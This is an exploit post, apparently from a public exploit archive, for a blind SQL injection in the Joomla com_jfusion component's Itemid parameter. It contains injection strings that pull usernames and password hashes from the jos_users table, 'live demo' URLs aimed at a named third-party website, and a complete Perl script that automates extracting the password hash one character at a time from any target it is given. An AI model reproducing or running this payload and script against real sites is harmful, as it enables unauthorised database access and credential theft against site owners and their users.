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Joomla Component com_jfusion (Itemid) Blind SQL-injection Vulnerability
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[+] Author : Chip D3 Bi0s
[+] Email : chipdebios[alt+64]gmail.com
[+] Vulnerability : Blind SQL injection
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Example:
http://localHost/path/index.php?option=com_jfusion&Itemid=n[Sql Code]
n:valid Itemid
Sql code:
+and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1/*
+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1/*
etc, etc...
DEMO LIVE:
http://www.cd7.com.ec/index.php?option=com_jfusion&Itemid=66+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1
http://www.cd7.com.ec/index.php?option=com_jfusion&Itemid=66+and+ascii(substring((SELECT+concat(password,0x3a,username)+from+jos_users+limit+0,1),1,1))=97
!False ¡¡¡¡
http://www.cd7.com.ec/index.php?option=com_jfusion&Itemid=66+and+ascii(substring((SELECT+concat(password,0x3a,username)+from+jos_users+limit+0,1),1,1))=98
¡True ¡¡¡¡
etc, etc....
I let a script that could save this job::example use
Note:
Itemid: valid for the Web
coincidencia : seen in 1 = 1 and not 1 !=
http://wwww.host.org/Path : http://www.cd7.com.ec/
[-] Introduce Itemid : 66
[-] Introduce coincidencia : http://www.cd7.com.ec/forum/
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#[!] Produced in South America
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#!/usr/bin/perl -w
use LWP::UserAgent;
use Benchmark;
my $t1 = new Benchmark;
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t | Chip d3 Bi0s | \n\n";
print "\t\t Joomla Component com_jfusion (Itemid) Blind SQL-injection \n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "http://wwww.host.org/Path : ";chomp(my $target=<STDIN>);
print " [-] Introduce Itemid : ";chomp($z=<STDIN>);
print " [-] Introduce coincidencia : ";chomp($w=<STDIN>);
$column_name="concat(password)";
$table_name="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
print "----------------Inyectando----------------\n";
#es Vulnerable?
$host = $target . "/index.php?option=com_jfusion&Itemid=".$z."+and+1=1";
my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $w;
if ($content =~ /$regexp/) {
$host = $target . "/index.php?option=com_jfusion&Itemid=".$z."+and+1=2";
my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $w;
if ($content =~ /$regexp/) {print " [-] Exploit Fallo :(\n";}
else
{print " [-] Vulnerable :)\n";
for ($x=1;$x<=32;$x++)
{
$host = $target . "/index.php?option=com_jfusion&Itemid=".$z."+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))>57";
my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $w;
print " [!] ";if($x <= 9 ) {print "0$x";}else{print $x;}#para alininear 0..9 con los 10-32
if ($content =~ /$regexp/)
{
for ($c=97;$c<=102;$c++)
{
$host = $target . "/index.php?option=com_jfusion&Itemid=".$z."+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c." ";
my $res = $b->request(HTTP::Request->new(GET=>$host));
my $content = $res->content;
my $regexp = $w;
if ($content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print "-Caracter: $char\n"; $c=102;}
}
}
else
{
for ($c=48;$c<=57;$c++)
{
$host = $target . "/index.php?option=com_jfusion&Itemid=".$z."+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c." ";
my $res = $b->request(HTTP::Request->new(GET=>$host));
my $content = $res->content;
my $regexp = $w;
if ($content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print "-Caracter: $char\n"; $c=57;}
}
}
}
print " [+] Password :"." ".join('', @caracter) . "\n";
my $t2 = new Benchmark;
my $tt = timediff($t2, $t1);
print "El script tomo:",timestr($tt),"\n";
}
}
else
{print " [-] Exploit Fallo :(\n";}
